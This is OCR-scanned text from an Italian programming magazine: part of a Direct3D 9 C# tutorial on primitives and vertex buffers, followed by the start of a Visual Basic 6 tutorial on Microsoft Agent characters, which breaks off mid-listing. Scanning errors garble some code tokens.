definire anche gruppi di linee e gruppi di punti, 
anche se questi sono usati molto più raramente e 
principalmente per necessità di debuging di appli- 
cazioni. Questo porta ad una caratterizzazione del 
tipo di primitiva nel modo seguente: 

PrimitiveType.PointList: Ogni vertice è renderizza- 
to singolarmente rispetto agli altri. Non molto utile, 
specialmente dall'avvento di DirectX 8.0 con i "Point 
Sprite", che possono essere usati per creare sistemi di 
particelle. 
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Fig. 1: Una screenshot del progetto allegato. 



Fig. 3: Primitiva PointList. 

PrimitiveType.LineList: I vertici sono renderizzati a 
coppia, connettendo ogni coppia con una linea. 
PrimitiveType.LineStrip: Tutti i vertici nel buffer 
sono renderizzati attraverso una singola linea. 
PrimitiveType.TriangleList: I vertici sono renderiz- 
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GLI SFONDI 

Molto spesso come 

sfondo di applicazioni 

DirectX non vengono 

creati interi paesaggi 

tridimensionali che 

consumerebbero 

moltissime risorse di 

memoria e cicli di 

processore: vengono 

invece disegnati due 

triangoli speculari 

posti più lontano di 

qualsiasi altro oggetto 

3D che deve essere 

rappresentato e poi su 

questi viene applicata 

una texture (immagine 

fissa) di sfondo che 

creerà un effetto di 

profondità. In questo 

modo si otterrà lo 

stesso effetto pur non 

appesantendo 

l'applicazione con il 

calcolo di migliaia di 

vertici inutili. 
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Fig. 4: Primitiva LineList. 

zati a gruppi di tre, come triangoli isolati. È una scel- 
ta molto comoda e flessibile, ma ha lo svantaggio 
che si creano vertici duplicati quando si vogliono 
triangoli connessi fra loro. 
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Fig. 5: Primitiva LineStrip. 

PrimitiveType.TriangleStrip: È la scelta più comu- 
ne, in quanto è più efficiente, dato che non si devo- 
no duplicare i vertici (ogni vertice aggiunto al buffer, 
dopo i primi due, crea un nuovo triangolo usando gli 
ultimi due vertici immessi). 
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Fig. 6: Primitiva TriangleList. 

PrimitiveType.TriangleFan: I triangoli condividono 
un unico vertice, il primo inserito nel buffer. 
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Fig. 7: Primitiva TriangleStrip. 

Ogni nuovo vertice aggiunto (sempre dopo i primi 
due) crea un nuovo triangolo, usando il primo e il 
precedente vertici inseriti. 



[0, 10,0) 




(0,0, 0) 



Fig. 8: Primitiva TriangleFan. 



Ora che abbiamo visto i tipi di primitive, possiamo 
iniziare a capire come poi effettivamente disegnarle 
sullo schermo. La funzione attraverso cui mostria- 
mo su schermo le primitive è device.DmwPrimiti- 
ves(); che richiede tre parametri: il tipo di primitiva 
(come abbiamo appena visto sopra) , l'indice del ver- 
tice dal quale iniziare a disegnare, e il numero di pri- 
mitive presenti nel vertex buffer. Assumendo quindi 
che VertexBuf sia un oggetto VertexBuffer valido e 
non vuoto (ossia riempito con dei vertici) e che devi- 
ce sia un oggetto Device valido e inizializzato (come 
abbiamo visto nell'articolo precedente), useremo le 
seguenti righe di codice per disegnare sullo schermo 
le nostre primitive: 

device. SetStreamSource(0, VertexBuf, 0); 

// Questa funzione serve per associare il vertex buffer 

al device, 
device. VertexFormat = 

CustomVertex.TransformedColored. Format; 
/* Questa funzione serve per impostare nell'oggetto 
device il formato dei vertici usati nel vertex buffer: 
la vedremo più avanti.*/ 
device. DrawPrimitives( PrimitiveType.TriangleStrip, 0, 

NUM_VERTEX_IN_VertexBuf - 2); 

// La vera e propria funzione di disegno. 

La funzione SetStreamSourceO indica quali sono i 
vertex buffer che vogliamo utilizzare come stream di 
input per i vertici che rappresentano il nostro dise- 
gno: nel codice riportato in pratica utilizziamo ilVer- 
tex Buffer VertexBuf (secondo parametro della fun- 
zione) come stream numero (primo parametro 
della funzione). Se i dati del nostro disegno fossero 
presenti su più vertex buffer avremmo dovuto ri- 
chiamare una SetStreamSourceO per ogni vertex 
buffer, incrementando ogni volta il primo parame- 
tro di uno (0 per il primo Stream, 1 per il secondo, 2 
per il terzo e così via) e indicando come secondo 
parametro il vertex buffer in questione (VertexBufO, 
VertexBuf 1, ecc). Il primo parametro della funzione, 
quindi, serve per indicare con quale indice ogni ver- 
tex buffer verrà inserito nel device responsabile del 
disegno finale sullo schermo mentre il secondo, co- 
me visto, indica appunto il vertex buffer da passare 
al device. Infine il terzo parametro specifica il punto 
iniziale di lettura del vertex buffer (OffSet in byte): 
generalmente è sempre lo che indica di considera- 
re l'intero stream di dati. 



DOVE INSERIRE 
IL CODICE? 

Tutte le funzioni di disegno sono richiamate attra- 
verso l'oggetto Device, e vanno racchiuse fra una 
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chiamata a BegineScene ed una EndScene, seguite 
dalla funzione Present che esegue il vero e proprio 
disegno sullo schermo. Come il nome delle funzioni 
stesso suggerisce, device.BegineSceneO; sarà chia- 
mata subito prima di iniziare a disegnare ogni sin- 
gola scena (o frame), e device.EndSceneO; sarà chia- 
mata quando si è finito di disegnare la scena corren- 
te. Queste chiamate sono molto importanti perché 
internamente eseguono un lock sul back buffer 
mentre stiamo disegnando (processo chiamato 
"rendering"] ed un unlock quando abbiamo finito, in 
modo da rendere disponibile il back buffer per la 
rappresentazione su schermo della scena (front buf- 
fer), evento che viene appunto chiamato dalla fun- 
zione device. Presento;. È importante anche "pulire" 
il back buffer prima di iniziare a disegnarci sopra 
con un unico colore omogeneo (che sarà il nostro 
colore di sfondo): ossia tutti i pixel che non disegne- 
remo (e quindi altereremo) fra le chiamate Begine- 
Scene ed EndScene avranno questo colore. Questa 
sorta di pulizia si effettua attraverso la funzione 
device.ClearO;. La funzione Clear ha bisogno di 4 
parametri: un flag dell'enumerazione ClearFlags, il 
colore di sfondo, un valore per impostare il default 
dello z-buffer e lo stesso per lo stencil buffer. Per ora 
ignoreremo il primo parametro che settiamo sul 
valore di default "ClearFlags. Target" e gli ultimi due 
parametri che setteremo (come nella quasi totalità 
dei casi accade) rispettivamente su 1 e 0. Riassu- 
mendo, la nostra funzione di disegno, ossia di ren- 
dering, sarà: 

private void Render() 
{ if (device == nuli) return; 
// Pulire il back buffer sul blu 
device. Clear(ClearFlags.Target, 

System. Drawing.Color.Blue, l.Of, 0); 
// Lock del back buffer 
device. BeginScene(); 

/* Continuiamo ad assumere di avere un oggetto 
vertex buffer valido, che contiene vertici di tipo 
CustomVertex.TransformedColored 
rappresentati nel buffer attraverso una TriangleList */ 
device. SetStreamSource( 0, vertexBuffer, 0); 
device. VertexFormat = 

CustomVertex.TransformedColored. Format; 
device. DrawPrimitives(PrimitiveType.TriangleList, 0, 1); 

// UnLock del back buffer 

device.EndSceneO; 

/* Invio dei dati dal back buffer al front buffer 

(secondo la modalità impostata nei parametri di 

presentazione) */ 
device. Presento; 
} 

È importante ribadire che fra le chiamate a Begi- 
neScene ed EndScene viene sempre racchiuso tutto il 
codice necessario per disegnare ogni frame (o fo- 



togramma) della nostra applicazione, sia che si trat- 
ti di un solo triangolo sia, ad esempio, di un'astrona- 
ve che naviga nella spazio come quella riportata in 
Fig. 9 (e quindi di qualche migliaio di triangoli). 




Fig. 9: Scene disegnate con Direct3D. 



VERTICI 

E VertexBuffer 

Bene, ora sappiamo come e dove disegnare delle 
primitive... Ma come possiamo crearle e riempirle? 
Per poter avere delle primitive da poter renderizzare 
sullo schermo, dobbiamo fare un ulteriore passo 
indietro e capire, prima di tutto, cosa sono realmen- 
te questi vertici. Direct3D è una libreria molto po- 
tente e ci offre la possibilità di definire in modo "cu- 
stom" i vertici che compongono le nostre primitive 
attraverso i così detti Flexible Vertex Format (FVF). 
Prima di creare un vertex buffer, dobbiamo specifi- 
care che tipo di informazione ogni vertice conterrà 
(ossia che tipo di VertexFormat vogliamo usare). 
Useremo questo valore sia per definire ogni vertice, 
sia per creare il vertex buffer, e sia, come abbiamo 
visto prima, per impostare la proprietà VertexFor- 
mat del device. Un vertex buffer è caratterizzato an- 
che dal numero di vertici che deve contenere e si 
crea come segue: 

VertexBuf = new VertexBuffer(typeof([VertexFormat]), 
[numero di vertici], [Device], [Usage], 
[VertexFormat], [Pool]); 

Device è il nostro ormai consolidato oggetto Device 
già inizializzato. Usage specifica il modo in cui usia- 
mo il buffer. Generalmente si setta su WriteOnly, 
indicando così a Direct3D che intendiamo solo scri- 
vere sul buffer, e che non avremo bisogno di rileg- 
gerne i valori immessi. Questo flag permette a Di- 
rect3D di scegliere la migliore allocazione di memo- 
ria per ottimizzare i processi di rendering su scher- 
mo. Pool specifica ulteriori informazioni a Direct3D, 
definendo dove le risorse vanno allocate (system 
memory o managed memory, ad esempio). General- 
mente si può tranquillamente lasciare questo valore 
su default (Pool.Default) e lasciare che sia DirectX ad 
occuparsene. Il parametro VertexFormat è il Flexible 
Vertex Format di cui abbiamo accennato sopra, ossia 
un valore CustomVertex che indica a Direct3D quali 
informazioni sdamo usando nei nostri vertici, per- 
mettendoci così di definire ogni volta ciò di cui 



D3DX 

D3DX è una libreria che 
implementa funzioni 
per una varietà di tec- 
niche ed effetti, come 
la trasparenza, le om- 
bre, i riflessi, i font, le 
mesh, l'utilizzo degli 
XFiles, il rendering dei 
terreni, i sistemi di par- 
ticelle, il multitextu- 
ring e altro, sono 
presenti anche delle 
funzioni matematiche 
per lavorare con le 
matrici, necessarie per 
muovere i nostri 
oggetti disegnati nello 
spazio tridimensionale. 
In realtà non c'è nulla 
che non si possa 
effettivamente fare in 
DirectX senza l'uso di 
D3DX, ma questa 
libreria semplifica 
enormemente la scrit- 
tura dei programmi ri- 
sparmiandoci di scri- 
vere una quantità 
enorme di codice gene- 
ralizzato utile in prati- 
camente tutte le appli- 
cazioni reali 3D. D3DX 
si colloca quindi da un 
punto di vista architet- 
turale parallelamente 
alle funzioni standard 
di Direct3D (e Direct- 
Draw) come mostrato 
nella seguente figura. 



™n32 Application 

t~ — r 



Dir ecfOra w©irect3D 
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Architettura di D3DX 
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abbiamo bisogno senza appesantire la struttura con 
inutili e dannosi sprechi di memoria. I tipi di Cu- 
stomVertex sono riportati inTab. 1. Il seguente codi- 
ce mostra un esempio di come creare un vertex buf- 
fer che conterrà tre vertici (un triangolo) di tipo 
TransformedColored: 

VertexBuffer VertexBuf = nuli; 
VertexBuf = new VertexBuffer(typeof( 

CustomVertex.TransformedColored), 3, device, 0, 

CustomVertex.TransformedColored. Format, 

Pool. Default); 



VertexFormat 


Descrizione 


PositionColored 


Posizione e colore 


PositionColoredTextured 


Posizione, colore, e coordinate texture 


PositionNormal 


Posizione e normal data (dati usati per la normalizzazione dei 
vettori) 


PositìonNormalColored 


Posizione, normal data, e colore 


PositionNormalTextured 


Posizione, normal data, e coordinate texture 


PositionOnly 


Solo la posizione 


PositionTextured 


Posizione e coordinate texture 


Transformed 


Vertici trasformati (ossia con un valore RHW per avere 
coordinate omogenee, usate per diversi effetti, tipo nebbia) 


TransformedColored 


Vertici trasformati e colore 


TmnsformedColoredTextured 


Vertici trasformati, coordinate texture, e colore 


TransformedTextured 


Struttura contenente vertici trasformati e coordinate texture 


TABELLA 1: In questa tabella riassumiamo il contenuto delle strutture associate ai vari tipi di CustomVertex. 



A questo punto abbiamo un vertex buffer pronto a 
ricevere tre vertici, ma per inserirli è bene usare un 
oggetto di tipo GraphicsStream. Un oggetto Gra- 
phicsStream serve per ottenere accesso diretto al 
vertex buffer per il suo riempimento di dati. Ottengo 
un oggetto di questo tipo dalla chiamata di Lock al 
vertex buffer, necessaria per garantirmi un accesso 
esclusivo alla risorsa. Si procederà come segue: 

GraphicsStream gStream = VertexBuf.Lock(0, 0, 0); 

A questo punto, devo creare i tre vertici che userò 
per rappresentare il triangolo: 

CustornVertex.TransformedColored[] fvfVert = new 

CustomVertex. TransformedColored [3]; 

Ora posso assegnargli le coordinate spaziali X, Ye Z, 
un valore Rhw che per ora ignoreremo e setteremo 
su 1, e il colore del vertice: 



fvfVert[0] 


X = 


= 150; 












fvfVert[0] 


Y = 


50; 












fvfvert[0] 


Z = 


= 0.5f, 












fvfVert[0] 


Rh 


w=l 












fvfVert[0] 


Color = 


System 


.Drawing 


Colo 


.Aqua 


ToArgb(); 


fvfVert[l] 


X= 


=250; 












fvfVert[l] 


Y = 


250; 












fvfVert[l] 


Z = 


=0.5f, 












fvfVert[l] 


RI- 


w=l 












fvfVert[l] 


CO 


or = 


System 


Drawing. Color. 


Brown 


.ToArgbQ; 


fvfVert[2] 


X= 


=50; 













fvfVert[2].Y=250; 

fvfVert[2].Z=0.5f; 

fvfVert[2].Rhw=l; 

fvfVert[2]. Color = System. Drawing. Color.LightPink.ToArgbQ; 

Non appena riempiti (valorizzati) i tre vertici, li inse- 
risco nel vertex buffer attraverso l'oggetto Graphics- 
Stream: 

gStream.Write(fvfVert); 

È essenziale ricordare che va eseguito un UnLock 
alla fine dell'immissione di dati (vertici) nel vertex 
buffer, altrimenti l'oggetto resterà bloccato ed inuti- 
lizzabile: 

VertexBuf.Unlock(); 



COSTRUIAMO 
L'APPLICAZIONE 

L'ultima cosa che bisogna notare è come mantenere 
"viva" la nostra applicazione DirectX. Questo può 
semplicemente essere fatto richiamando in modo 
ciclico, per tutta la "durata" del form sul quale sdamo 
renderizzando, la funzione RenderQ; e lanciando 
ogni volta un Application.DoEventsO; per permette- 
re all'applicazione di gestire i messaggi e processare 
i suoi eventi. 

while(frm.Created) 
{ frm.Render(); 

Application.DoEventsO; } 

In definitiva il nostro codice visto fino ad ora può 
essere messo insieme e scritto come segue: 

public class ArticoloII : Form 
{ // Le variabili globali di questo progetto 
Device device = nuli; 
VertexBuffer VertexBuf = nuli; 
public ArticoloII () 
{ // Dimensione iniziale del form 

this.ClientSize = new System. Drawing. Size(300,300); 
// La sua proprietà caption 

this.Text = "Direct3D";> 

public bool InitializeGraphics() 

{try 

{ // Inizializzazione di Direct3D 

PresentParameters presentParams = 

new PresentParameters(); 

presentParams. Windowed=true; 

presentParams. SwapEffect = SwapEffect.Discard; 

device = new Device(Manager.Adapters 

. Default. Adapter, DeviceType. Hardware, this, 

CreateFlags.SoftwareVertexProcessing, 

presentParams); 
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// Creazione del Vertex Buffer 
VertexBuf = new VertexBuffer(typeof( 
CustomVertex.TransformedColored), 3, device, 
0, CustomVertex.TransformedColored. Format, 

Pool. Default); 

// Otteniamo l'oggetto GraphicsStream 
GraphicsStream gStream = VertexBuf. Lock(0, 0, 0); 
// Creiamo I 3 vertici e li valorizziamo 
CustomVertex.TransformedColored[] fvfVert = 
new CustomVertex.TransformedColored[3]; 

fvfVert[0].X=150; 

fvfVert[0].Y=50; 

fvfVert[0].Z=0.5f; 

fvfVert[0].Rhw=l; 

fvfVert[0]. Color = 

System. Drawing. Color. Aq uà. ToArgbQ; 

fvfVert[l].X=250; 

fvfVert[l].Y=250; 

fvfVert[l].Z=0.5f; 

fvfVert[l].Rhw=l; 

fvfVert[l]. Color = 

System. Drawing. Color. Brown. ToArgbQ; 

fvfVert[2].X=50; 

fvfVert[2].Y=250; 

fvfVert[2].Z=0.5f; 

fvfVert[2].Rhw=l; 

fvfVert[2]. Color = 

System. Drawing. Color. LightPink.ToArgbQ; 
// Scriviamo I 3 vertici sul Vertex Buffer 

gStream.Write(fvfVert); 

// Sblocchiamo il Vertex Buffer 

VertexBuf.UnlockQ; 

return true; } 
catch (DirectXException) 
{ return false; } } 
private void RenderQ 
{ if(device == nuli) return; 

// "Pulizia" del Back Buffer 

device. Clear(ClearFlags.Target, 

System. Drawing. Color.Blue, l.Of, 0); 

// Inizia il rendering 

device. BeginScene(); 

// Disegno della primitiva 

device. SetStreamSource( 0, VertexBuf, 0); 

device. VertexFormat = 

CustomVertex.TransformedColored. Format; 
device. DrawPrimitives(PrimitiveType.Trianglel_ist, 0, 1); 
// Fine del processo di rendering 
device. EndSceneQ; 

// Invio I dati dal back buffer al front buffer 
device. Presento; } 
static void Main() 
{ using (ArticoloII frm = new ArticoloII ()) 

{ if (Ifrm.InitializeGraphicsO) // Inizializzazione di 

DirectX 

{ MessageBox.Show("Direct3D è andato in errore!"); 

return; } 
frm.ShowQ; 



// Finche il form è valido renderizziamo in modo 

ciclico la nostra scena 
while(frm.Created) 
{ frm.Render(); 
Application.DoEvents();}}} 



} 



Come si vede in questo 
esempio abbiamo usato 
un solo Vertex Buffer, 
questo perché il nostro 
scopo era molto sempli- 
ce: disegnare un unico 
triangolo. Nelle applica- 
zioni reali DirectX è inve- 
ce spesso molto utile 
usare più di un solo Ver- 
tex Buffer, ed associare 
ad ognuno un "senso lo- 
gico", ossia se dobbiamo 
ad esempio simulare 

un'astronave che si muove nello spazio vista in sog- 
gettiva (ossia come se fossimo nella cabina di 
comando dell'astronave) potremmo comodamente 
usare tre distinti Vertex Buffer: uno per lo sfondo 
(fisso e distante) , uno per gli oggetti che incontriamo 
nel nostro universo (in continuo cambiamento) ed 
uno per rappresentare la cabina di pilotaggio (un'al- 
tra immagine fissa da applicare davanti a qualsiasi 
altro oggetto). 

La Fig. 10 aiuterà sicuramente a capire meglio que- 
sto concetto. Questa è chiaramente una visione più 
che semplicistica di come affrontare situazioni del 
genere, in particolare per quanto riguarda gli ogget- 
ti presenti nel nostro spazio, che ovviamente saran- 
no gestiti tramite l'utilizzo di Mesh a se stanti che 
vengono caricate e renderizzate a seconda della ne- 
cessità (una mesh sarà un'astronave, un'altra un 
asteroide, una un pianeta e così via) ma per iniziare 
a familiarizzare con Direct3D questo esempio 
dovrebbe essere calzante a sufficienza. 



CONCLUSIONI 

In questo articolo abbiamo messo molta carne al 
fuoco e introdotto diversi concetti importanti di 
Direct3D 9: le primitive, i vertici e i VertexFormat, i 
VertexBuffer, gli oggetti GraphicsStream, ecc. Sono 
tutti concetti fondamentali per iniziare a lavorare 
davvero con la grafica 3D. Ma il nostro disegno è 
ancora statico, immobile. Il prossimo articolo sarà 
interamente dedicato all'uso delle Matrici per muo- 
vere i nostri oggetti nello spazio, e conterrà un'intro- 
duzione matematica per rinfrescare la nostra 
memoria su concetti come le moltiplicazioni matri- 
ciali, i vettori, le proiezioni, ecc. 

Carlo Federico Zoffoli 




Fig. IO: Un caso in cui poter usare 3 vertex buffer distinti. 



I TRIANGOLI 
DI Direct3D 

Spesso quando si 
pensa al fatto che alla 
base di ogni disegno 
Direct3D ci sia un trian- 
golo molte persone 
fanno fatica ad "accet- 
tare" questo concetto 
perché stentano a 
credere che un insieme 
di figure squadrate e 
nette come il triangolo 
possano rappresentare 
poi una scena con delle 
linee perfettamente 
curve e sinuose. In 
realtà queste persone 
hanno ragione, nulla è 
mai perfettamente 
curvo in Direct3D, ma il 
punto non è questo, 
perché anche nella 
nostra realtà scenden- 
do a livelli microscopici 
nulla è curvo, e nem- 
meno perfettamente 
dritto, anche se a noi 
sembra tale. Il fatto è 
che noi lo percepiamo 
così perché i nostri 
sensi macroscopici non 
sono in grado di "scen- 
dere" fino a quel livel- 
lo di dettaglio, ed ap- 
prossimiamo quindi le 
micro-irregolarità a li- 
nee curve, dritte e cosi 
via. 
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Programmiamo un Assistente per le nostre applicazioni 

Il lato friendly 
dell'interfaccia 

Miglioriamo l'usabilità e la "simpatia" del software che sviluppiamo, 
imparando a sfruttare la tecnologia Microsoft Agent. Professionalità 
e semplicità d'uso saranno la cifra delle nostre interfacce. 



Correva l'anno 1995 quando apparve sulla sce- 
na informatica un'interfaccia grafica di nome 
Microsoft Bob, che si prefìggeva lo scopo di 
rendere più amichevole l'impatto degli utenti con il 
Personal Computer. Fu forse uno dei maggiori flop 
di un prodotto partorito dalla casa di Redmond, e 
per svariati fattori venne presto dimenticato e sepol- 
to. Dalle ceneri di quel software è nata, tuttavia, la 
tecnologia che fa girare i famosi (o famigerati, per 
alcuni) assistenti di Office. Presenti anche in Win- 
dows XP questi personaggi che si muovono, parlano 
e "osservano" l'utente possono oggi essere program- 
mati anche per tutte le applicazioni che girano sotto 
Windows, siano esse normali programmi desktop o 
pagine Web. Tutto questo è possibile grazie al con- 
trollo Microsoft Agent 2.0, che permette l'animazio- 
ne dei personaggi, e addirittura le funzioni di sintesi 
e riconoscimento vocale, basate sulle SAPI 4.0. In 
questi due appuntamenti vedremo dapprima come 
utilizzare gli assistenti esistenti, attraverso Visual Ba- 
sic e, in una seconda puntata, come realizzarne uno 
tutto nostro partendo da zero. 



PROCURIAMOCI 
IL NECESSARIO 

Se è vero che non dobbiamo preoccuparci della 
piattaforma da utilizzare (va bene una qualsiasi ver- 
sione di Windows, dalla 95 in poi) dobbiamo però 
essere sicuri di possedere i numerosi componenti 
necessari per poter partire. Visitando la pagina 
h ttp://www. m icrosoft. com/msagen ti down loads/user. 
asp potete scaricare gratuitamente tutto l'indispen- 
sabile per far girare correttamente gli assistenti; e 
cioè, nell'ordine: 

• l 'core components' di Microsoft Agent (395 Kb) 

• Il supporto per la lingua italiana (128 Kb) 



• I personaggi base (per seguire quest'articolo 
sono necessari solo Genie e Merlin, quest'ultimo 
già presente in Windows XP). 

• Le librerie L&H in Italiano (2 Mb) e, se volete, in 
Inglese (2,5 Mb). 

• Il supporto run-time per le SAPI 4.0 (fondamen- 
tali in XP in cui sono installate le SAPI 5.0, non 
compatibili). 

• Sono opzionali (qui non sono trattati) i supporti 
per il riconoscimento vocale (6 Mb). 

Nella sezione dedicata agli sviluppatori potete an- 
che scaricare la documentazione SDK, e il Character 
Editor (1 Mb), necessario per seguire la seconda 
puntata. 



UN'OCCHIATA A 
MICROSOFT AGENT 2.0 

Microsoft Agent è implementato, tecnicamente par- 
lando, come un Server di Automazione OLE. Una 
nostra applicazione che utilizzi Agent si comporterà, 
quindi, esattamente come un client: richiederà un 
servizio al server ed aspetterà da 
quest'ultimo la relativa risposta. Si 
può, ovviamente, interrogare il 
server direttamente, mediante la 
dichiarazione di un oggetto COM 
all'interno della nostra applica- 
zione. Questo metodo garantisce 
grande efficienza e versatilità, 
dato che la richiesta non passa da 
'terze parti'. Pur non essendo l'ac- 
cesso diretto al server un metodo 
complicato, noi preferiremo l'uti- 
lizzo del controllo Microsoft 
Agent 2.0, traendo così vantaggio 
dalla semplicità con cui Visual Ba- 




n 




REQUISITI 



Conoscenze richieste 



Lì 



Conoscenze di base 
di Visual Basic 



Windows 

98/ME/2000/XP/2003, 
Visual Basic 6.0 



Tempo di realizzazione 



00 




7 



Micr. 
Micn 

Mia. 
Micr. 
Micrr 
Micr. 
Micr, 
Micr. 



lido Control 
ActiveMovie Control 
ActiveX Plug in 
ADQ Data Control 6.0 (OLEDB) 

slenda Control 8.0 
Ih art Control 
: tChart Control 6.0 (OLEDB) 
Comm Control 6.0 
Common Dialog Control 6.0 (SP3) 
Data Bound Grici Control 5.0 (5P3) 
Data Bound List Controls 6.0 
l i LEDB) 



■: . . ■■.. ■ ■■ ■■■ ■■ ■ ■ 

Location: C^WlHDOWS^Hisagent^figentQtdll 



Fig. 1: II controlio da aggiungete al progetto 
e l'oggetto Agenti sul Form. 
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I VALORI 

DELL'OGGETTO 

REQUEST 

La proprietà status 
dell'oggetto request 
può assumere i se- 
guenti valori: 
- Richiesta 
completata 
1 - Richiesta fallita 
2 - Richiesta in coda 
3 - Richiesta interrotta 
4 - Richiesta in corso 



/ 






\ 


I Ciao Mondo! 








v 


V 

8 


r 


j 



Fig. 2: L'applicazione "Ciao Mondo" in 
funzione. 



GLI ASSISTENTI 
DI OFFICE 

Con Agent si possono 
utilizzare anche gli as- 
sistenti di Office (gat- 
to, Einstein, ecc.). Il 
metodo più semplice è 
andare alla ricerca dei 
file ".acs" presenti sul 
disco rigido, e caricarli 
col metodo .Load spe- 
cificando il percorso 
corretto e il nome del 
file. Va tenuto presen- 
te, però, che le anima- 
zioni degli Office As- 
sistami sono in alcuni 
casi diverse da quelle 
degli agenti standard. 



sic si interfaccia agli ActiveX. Per immettere il con- 
trollo Agent in Visual Basic basta andare su Project/ 
Components e spuntare Microsoft Agent 2.0, come 
in Fig. 1. 



LE PRIME 
APPLICAZIONI 

Ora che abbiamo tutto il necessario, possiamo co- 
minciare a muovere i primi passi. Creata una nuova 
applicazione standard ed immesso l'oggetto Agenti 
nel Form (vedi paragrafo precedente), aggiungiamo 
le seguenti righe di codice: 

Private Sub Form_Load() 

Agenti. Characters. Load "merlino", "merlin.acs" 
Agent l.Characters.Character("merli no"). Show 
End Sub 

Facciamo girare il codice e, se tutto va come deve, 
apparirà subito, magicamente, l'assistente Merlin! 
Sorpresa a parte, il semplice codice riportato qui 
sopra serve a capire un po' meglio come funzionano 
le cose: Agent contiene una collezione 
di personaggi (Characters). Prima di po- 
ter utilizzare un singolo assistente, que- 
sto va caricato, richiamando il metodo 
.Load Nome, File. Se si omette il nome 
del file, viene caricato l'assistente di de- 
fault (che varia a seconda delle impo- 
stazioni del computer). Per richiamare 
un singolo metodo dell'assistente, biso- 
gna individuarlo all'interno della colle- 
zione, secondo la sintassi un po' elabo- 
rata: Agenti . Characters. Character("no- 
me").Metodo. Per sveltire il tutto è pos- 
sibile assegnare ad ogni singolo personaggio della 
collezione una variabile, dichiarata localmente o, 
meglio, globalmente nel form. 



Dim Genio As IAgentCtICharacterEx 

Private Sub FormJoadQ 

Agenti. Characters. Load "geniolampada", "genie. acs" 
Set Genio = Agenti. Characters. Character( 

"geniolampada") 

Genio. Show 

End Sub 

Dal codice qui sopra riportato ricaviamo che IAgent- 
CtICharacterEx è la struttura che definisce un perso- 
naggio. É da notare che esiste anche il quasi omoni- 
mo IAgentCtlCharacter. Quest'anomalia si verifica 
per molti metodi e tipi di dato di Agent, e deriva da 
un compromesso di compatibilità con le versioni 
precedenti. In presenza di un caso simile, è buona 
norma optare per metodo terminante per 'Ex', di 
sicuro più recente. 



IL CONTROLLO 

DEL PARLATO 

E DELLE ANIMAZIONI 

É quindi giunto il fatidico momento di "Ciao Mon- 
do!": applicazione con la quale impareremo a gesti- 
re parlato e animazioni. Piazzato un pulsante Com- 
mandl sul Form, usiamo questo codice: 

Dim Merlino As IAgentCtICharacterEx 
Private Sub Commandl_Click() 

Merlino. Play "wave" 

Merlino. Speak "Ciao Mondo!" 

Beep "il codice "non aspetta" Merlin 
End Sub 
Private Sub Form_load() 

Agenti. Characters. Load "merlino", "merlin.acs" 

Set Merlino = Agenti. Characters. Character("merlino") 

Merlino. Show 
End Sub 

Se avete installato bene tutti i componenti, il codice 
qui sopra riportato farà esclamare "Ciao mondo!" a 
Merlin, dopo un caloroso gesto di saluto. Impariamo 
così sia come si fa parlare che come si fa agire un 
personaggio. Per quanto riguarda l'animazione, 
questa viene richiamata mediante il metodo 
.PlayC'animazione"). Ogni personaggio presenta, 
infatti, la sua gamma di animazioni, spesso dal no- 
me in comune (vedremo meglio quest'aspetto nella 
seconda puntata). Ognuna di queste può essere 
richiamata, anche a formare sequenze e concatena- 
zioni. É qui che fa comodo conoscere la natura client 
del controllo Agent: ogni richiesta, infatti, viene in- 
serita in una coda che viene processata dal server, in 
maniera asincrona. É importante sapere che il ser- 
ver continua la sua azione in modo separato dal 
codice del client: questo spiega perché il "Beep" si 
sente prima che Merlin inizi a parlare, anziché alla 
fine della frase. Il medesimo discorso va fatto per 
metodo .Speak("frase") e anche per i metodi (piutto- 
sto autoesplicativi) .Think ("frase"), MoveTo(posx, 
posy) e GestureAt(posx,posy). Provate per credere e 
imparare a destreggiarvi. 



L'OGGETTO 

IAgentCtlRequest 

Come si fa, dunque, a sapere se una certa animazio- 
ne è finita, o è ancora in corso? La necessità di rispo- 
sta a quest'interrogativo sorge quando si vuole rea- 
lizzare una funzionalità via codice, solo dopo che 
una certa animazione è terminata o che una frase è 
stata pronunciata. 

Se, per esempio, volessimo che il nostro Form venis- 
se mostrato soltanto dopo essere stato annunciato 
da Merlin, scriveremmo: 
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Dim Merlino As IAgentCtICharacterEx 

Private Sub Form_load() 

Agenti. Characters.Load "merlino", "merlin.acs" 

Set merlino = Agenti. Characters.Character("merlino") 

Dim req As IAgentCtIRequest 

merlino. Show 

merlino. Speak "Entri in scena la finestra!" 

Set req = merlino. Play("announce") 

Do 

DoEvents 

Loop While req. Status <> 

End Sub 

L'oggetto IAgentCtIRequest serve a controllare lo sta- 
to di una specifica azione, restituito dal server. 
Ciclando continuamente con un loop è possibile 
controllare il flusso dell'esecuzione in conseguenza 
del valore della proprietà Status. É anche possibile 
utilizzare l'evento RequestComplete(ByVal Request 
As Object), specificando in Request l'oggetto associa- 
to all'azione da controllare. Questo può semplificare 
o complicare le cose, a seconda dei casi. 



ORGANIZZIAMO 
UNO SKETCH 

Per concludere questa prima puntata vi propongo 
un dialogo fra Genie e Merlin, che dimostra come si 
può gestire l'interazione fra più personaggi (è possi- 
bile inserire una sola istanza dello stesso personag- 
gio in una singola applicazione), introduce all'uso 
dei tag e dell'evento RequestComplete e riassume 
tutto ciò che abbiamo visto sinora: 

Dim Merlino As IAgentCtICharacterEx 

Dim Genio As IAgentCtICharacterEx 

Dim req As IAgentCtIRequest 

Dim reqsleep As IAgentCtIRequest 

Private Sub Form_Load() 

Agenti. Characters.Load "merlino", "merlin.acs" 
Agenti. Characters.Load "genio", "genie. acs" 
Set Merlino = Agenti. Characters.Character("merlino") 
Set Genio = Agenti. Characters.Character("genio") 
Genio. Show 
Genio. Play "alert" 

Genio. Speak "\spd=180\Un momento: quest'applicazione" 
& "non può cominciare senza l'ospite d'onore" 
Genio. MoveTo 800, 0: Genio. MoveTo 0, 600: 

Genio. MoveTo 800, 600 

Genio. Play "confused" 

Merlino. Wait Genio. Speak("ma \pit=250\\emp\dove 
\emp\è, \pit=90\Merlino?") 
Merlino. Show 

Genio. Wait Merlino. Play("idle3_l") 

Merlino. Speak "Eh? Chi? \emp\\pit=100\Cosa?" 

Genio. MoveTo 100, 

Genio. Play "pleased" 



Set reqsleep = Merlino. Play("idle3_2") 

Genio. Speak "Ora che ci siamo, direi di 
\emp\presentare..." 

Genio. Play "lookright" 

Genio. Play "sad" 

Genio. GestureAt Merlino. Left, Merlino. Top 

Genio. Speak "\chr=""Whisper""\Merlino, \emp\sveglia!" 

Genio. Play "sad" 

Set req =Genio.Speak("...\pau = 1000\\pit=80 

\\emp\lasciamo perdere...") 

Genio. Play "Domagicl" 

Merlino. Play "lookleft" 

Merlino. Play "alert" 

